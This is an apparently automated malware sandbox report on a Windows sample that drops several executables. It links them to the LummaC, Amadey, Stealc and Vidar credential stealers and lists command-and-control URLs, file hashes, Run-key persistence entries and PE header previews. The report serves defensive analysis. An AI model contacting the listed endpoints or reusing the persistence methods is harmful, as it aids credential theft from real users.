Excluded IPs from analysis (whitelisted): 34.208.54.237, 52.13.186.250, 44.231.229.39, 2.22.61.56, 2.22.61.59, 142.250.185.78, 142.250.181.238
Excluded domains from analysis (whitelisted): www.reddit.com, ciscobinary.openh264.org, slscr.update.microsoft.com, incoming.telemetry.mozilla.org, a17.rackcdn.com.mdc.edgesuite.net, aus5.mozilla.org, a19.dscg10.akamai.net, ocsp.digicert.com, redirector.gvt1.com, firefox.settings.services.mozilla.com, push.services.mozilla.com, www.youtube.com, star-mini.c10r.facebook.com, www.facebook.com, twitter.com, client.wns.windows.com, fs.microsoft.com, shavar.prod.mozaws.net, otelrules.azureedge.net, ctldl.windowsupdate.com, detectportal.prod.mozaws.net, dyna.wikimedia.org, prod.remote-settings.prod.webservices.mozgcp.net, fe3cr.delivery.mp.microsoft.com, youtube-ui.l.google.com, reddit.map.fastly.net, www.wikipedia.org, location.services.mozilla.com, telemetry-incoming.r53-2.services.mozilla.com
Execution Graph export aborted for target 7d61336cf8.exe, PID 1468 because there are no executed function
Execution Graph export aborted for target ENORVNMU067PBMHUGECCERYC06W3ZY.exe, PID 5636 because there are no executed function
Execution Graph export aborted for target OLR88CERN7VQFRQ38J.exe, PID 2864 because it is empty
Execution Graph export aborted for target file.exe, PID 2224 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
11:51:04	API Interceptor	13x Sleep call for process: file.exe modified
11:51:31	API Interceptor	737492x Sleep call for process: skotes.exe modified
11:51:43	API Interceptor	7x Sleep call for process: aae25c676b.exe modified
17:51:27	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
17:51:46	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run aae25c676b.exe C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe
17:51:55	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 7d61336cf8.exe C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe
17:52:03	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run d7c50276ff.exe C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe
17:52:12	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run num.exe C:\Users\user\AppData\Local\Temp\1000995001\num.exe
17:52:20	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run aae25c676b.exe C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe
17:52:29	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 7d61336cf8.exe C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe
17:52:37	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run d7c50276ff.exe C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe
17:52:46	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run num.exe C:\Users\user\AppData\Local\Temp\1000995001\num.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
185.215.113.37	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
services.addons.mozilla.org	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.193.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.193.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.193.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.1.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.193.91
	file.exe	Get hash	malicious	Unknown	Browse	151.101.193.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.129.91
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	151.101.65.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.129.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.1.91
sergei-esenin.com	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.53.8
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.53.8
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.53.8
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.53.8
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.53.8
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.53.8
example.org	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Unknown	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	roquette October.pdf	Get hash	malicious	HTMLPhisher	Browse	1.1.1.1
	https://report-scam.malwarebouncer.com/XOHNZUWRVSkNPN3B3b0dyakdQVFVmb1FYdjkxSFkwYVlNbnhFS1hyOVg0UkpoZzNZd04zaWh2UTZ0RE13ZGV6SklWLzhFZ20wYTNPenFQbzZBUHRIWFMvcVNMc0dvZDRsUU93QlNUckovcGQ4SXFlblYvcjhsWVo2RGxhdTNIc3pvNWZDcHU4T1NHa1hBR1V2MGtpUGthRjJudk1GSFowOFdHeVZsVzZSS2hXWlRvOGpZZERIZzVVZnFRPT0tLXFVZ29kckVLdmlIVEc3a08tLS9GWUhhdmh2L3BXNkN3ZzVhSlczWVE9PQ==?cid=2249425773	Get hash	malicious	Unknown	Browse	104.18.15.119
	https://email.email.pandadoc.net/c/eJxUkE9r4zwQxj-NdUuQR5ItHXQobfwG3rLQsmHbXspIGjeqE8m1FYfm0y-B7f65DcP8ht_zBOsa4XrNQvanI6XyGoPN-f7_7ilGN8iYdk8Pn-dxt_vOyNYtmMZwDpztLRpXK45GaGy9C943vK2NJgTDG-WQRQscZM1B1AJaztfS904pGYLuOTQtVZLTEeNhPWIKGLJfJyoszq9lQk_oDmTLdCJ2sPtSxrkSNxV0FXQ4jn8Qn48VdF_6FXQLVKIreaBUiTvSzgiJNQeJqLDhSoJpBAanJYFWrZO1kb6uRMdSLrGPHkvM6VqDaxuBBtpVCyBWEkW9wkbTCsko1-galQ4sT2-Y4uU39N85y5jEfDMn83C50P6beDlv2WTDe040V5K702Ggj9NhvKqziZY4_2J_iM3H6W67XV7Uop9j2dyq0D-yYr_S_TWuCk5v9M9mvl4sFtg5T8M8oqfrU_W4od1nvwdHIdy798HfDs_6ZwAAAP__1K2kLg	Get hash	malicious	Unknown	Browse	104.18.86.42
	https://1drv.ms/o/c/fca0349b9dac3054/Egg4xW-gVZtFnFIBDYLqn3IBzvGvLdCTacUKBwENWO33dQ?e=nEqWJi	Get hash	malicious	Unknown	Browse	188.114.96.3
	PO-000041522.exe	Get hash	malicious	FormBook	Browse	188.114.97.3
	AL DALEEL ELECT SWITCH GEAR TR LLC. - PO.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.96.3
	https://github.com/Matty77o/malware-samples-m-h/raw/refs/heads/main/TheTrueFriend.exe	Get hash	malicious	Unknown	Browse	162.159.135.232
	Distribuciones Enelca Ja#U00e9n, S.L. PEDIDO 456799.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	LlbpXphTu9.exe	Get hash	malicious	Unknown	Browse	104.21.3.193
	Pedido de Cota#U00e7#U00e3o-24100004_lista comercial.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	044SqLy1H3.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 172.67.206.204
	wRcmIT6Eji.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 172.67.206.204
	qfq0JTpoq9.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 172.67.206.204
	W1WowSI1iG.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 172.67.206.204
	o9rbdhliSW.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 172.67.206.204
	mh3FCXkJXk.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 172.67.206.204
	wXtaX552wr.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 172.67.206.204
	Vj23G2zpN5.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 172.67.206.204
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.102.49.254 172.67.206.204
fb0aa01abe9d8e4037eb3473ca6e2dca	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Unknown	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\BF3BS0M5707K28RGW9.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1833984
Entropy (8bit):	7.947631728352289
Encrypted:	false
SSDEEP:	49152:VQXtQf+CzsDGi4cT+o3EUQFnRPW5jwY+pP3b:i2ftyGi4cZ15cY+9
MD5:	DD0CAAED8398954963C8A3FFB1196E18
SHA1:	C62460A7222A2EEE80BC8C013CBD6F56CFD8A0FD
SHA-256:	9A3DCEDD0E3CC0AFF5A51E23028544FA2459B263C2AE93703754D98DD3C86ABC
SHA-512:	C8CBCA24388ABA7E4B5E36CEE3C089045B16F5F8A1E1F72AE06FB3AD0C1260321D87DBB2095AAD7961E141A7637DA55CA12539D77F2E2D1E20FF9504CA08F623
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$......Pi...........@...........................i...........@.................................P.%.d.............................%..................................................................................... . ..%......(..................@....rsrc ......%......8..............@....idata ......%......8..............@... ..)...%......:..............@...iadgvtjq......O......<..............@...xuvqjoqm.....@i.....................@....taggant.0...Pi.."..................@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	314368
Entropy (8bit):	6.339296840269838
Encrypted:	false
SSDEEP:	6144:BMi8gYtUokCulxMfpbSGePV0l0F1nE7w+Uw3NKR9hU/W9:2tUoH3IGgVRF14wx8KRF9
MD5:	791FCEE57312D4A20CC86AE1CEA8DFC4
SHA1:	04A88C60AE1539A63411FE4765E9B931E8D2D992
SHA-256:	27E4A3627D7DF2B22189DD4BEBC559AE1986D49A8F4E35980B428FADB66CF23D
SHA-512:	2771D4E7B272BF770EFAD22C9FB1DFAFE10CBBF009DF931F091FB543E3132C0EFDA16ACB5B515452E9E67E8B1FC8FE8AEDD1376C236061385F026865CDC28D2C
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$......i............@...........................&...........@.................................(...<.............................%..$...................................................................................text............................... ....rdata..............................@..@.data.....#.........................@....reloc...E....%..F..................@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2891264
Entropy (8bit):	6.54368243409857
Encrypted:	false
SSDEEP:	49152:qC1k3gu7qdfL7pXFb7qybs4W896T4PphROKRx/7nR1VpFEUXy/k41hP:LEqdfL7pXFKUs4Wq6T4PphRbZp9XJ41
MD5:	4AA75791152671DB0DD310096A19F866
SHA1:	A08BEF3A430AE54D94217399BB72E5ECE1968498
SHA-256:	F022C688CBBF7C4F3DC72D820933CCDC24E1B57968AFC07D15F6D2609AAB8D84
SHA-512:	487750F9B7E24AF0092B44A957A875DDBAE8032F7750DC51352766298D7F1A90DFDA2701C1F341AE6E357D310D5EF2066486B5A5971E990C5137DA1775BF14D5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...J..f............................../...........@.........................../......,...@.................................W...k................................................................................................................... . .........^..................@....rsrc .............n..............@....idata .............n..............@...muoxnbrn..).......)..p..............@...ckkqhetw....../.......+.............@....taggant.0..../.."....+.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919552
Entropy (8bit):	6.584685263750239
Encrypted:	false
SSDEEP:	12288:vqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDga/T2:vqDEvCTbMWu7rQYlBQcBiT6rprG8ab2
MD5:	4BD898F7538E346E91E4C83E0C11AD2A
SHA1:	F582F982B3ADBDB5EB1BAEEDBFFF063FBC90CBC4
SHA-256:	E3356F3E1F7AB9698F237F04F492A90900F37D1E4B4682C0D9C1F810108C9CF6
SHA-512:	A01E758DCC0BAAD1C9ED560ABBA051EA06A09D663CC1481012D00F1C1B87E80FE9E7972716F8004A5530443E08D521762C53FC55A16BF902AA914CB7232F8D92
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L......g.........."..........X......w.............@..........................`......~u....@...@.......@.....................d...\|....@..(........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...(....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2891264
Entropy (8bit):	6.54368243409857
Encrypted:	false
SSDEEP:	49152:qC1k3gu7qdfL7pXFb7qybs4W896T4PphROKRx/7nR1VpFEUXy/k41hP:LEqdfL7pXFKUs4Wq6T4PphRbZp9XJ41
MD5:	4AA75791152671DB0DD310096A19F866
SHA1:	A08BEF3A430AE54D94217399BB72E5ECE1968498
SHA-256:	F022C688CBBF7C4F3DC72D820933CCDC24E1B57968AFC07D15F6D2609AAB8D84
SHA-512:	487750F9B7E24AF0092B44A957A875DDBAE8032F7750DC51352766298D7F1A90DFDA2701C1F341AE6E357D310D5EF2066486B5A5971E990C5137DA1775BF14D5
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...J..f............................../...........@.........................../......,...@.................................W...k................................................................................................................... . .........^..................@....rsrc .............n..............@....idata .............n..............@...muoxnbrn..).......)..p..............@...ckkqhetw....../.......+.............@....taggant.0..../.."....+.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1833984
Entropy (8bit):	7.947631728352289
Encrypted:	false
SSDEEP:	49152:VQXtQf+CzsDGi4cT+o3EUQFnRPW5jwY+pP3b:i2ftyGi4cZ15cY+9
MD5:	DD0CAAED8398954963C8A3FFB1196E18
SHA1:	C62460A7222A2EEE80BC8C013CBD6F56CFD8A0FD
SHA-256:	9A3DCEDD0E3CC0AFF5A51E23028544FA2459B263C2AE93703754D98DD3C86ABC
SHA-512:	C8CBCA24388ABA7E4B5E36CEE3C089045B16F5F8A1E1F72AE06FB3AD0C1260321D87DBB2095AAD7961E141A7637DA55CA12539D77F2E2D1E20FF9504CA08F623
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$......Pi...........@...........................i...........@.................................P.%.d.............................%..................................................................................... . ..%......(..................@....rsrc ......%......8..............@....idata ......%......8..............@... ..)...%......:..............@...iadgvtjq......O......<..............@...xuvqjoqm.....@i.....................@....taggant.0...Pi.."..................@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919552
Entropy (8bit):	6.584685263750239
Encrypted:	false
SSDEEP:	12288:vqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDga/T2:vqDEvCTbMWu7rQYlBQcBiT6rprG8ab2
MD5:	4BD898F7538E346E91E4C83E0C11AD2A
SHA1:	F582F982B3ADBDB5EB1BAEEDBFFF063FBC90CBC4
SHA-256:	E3356F3E1F7AB9698F237F04F492A90900F37D1E4B4682C0D9C1F810108C9CF6
SHA-512:	A01E758DCC0BAAD1C9ED560ABBA051EA06A09D663CC1481012D00F1C1B87E80FE9E7972716F8004A5530443E08D521762C53FC55A16BF902AA914CB7232F8D92
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
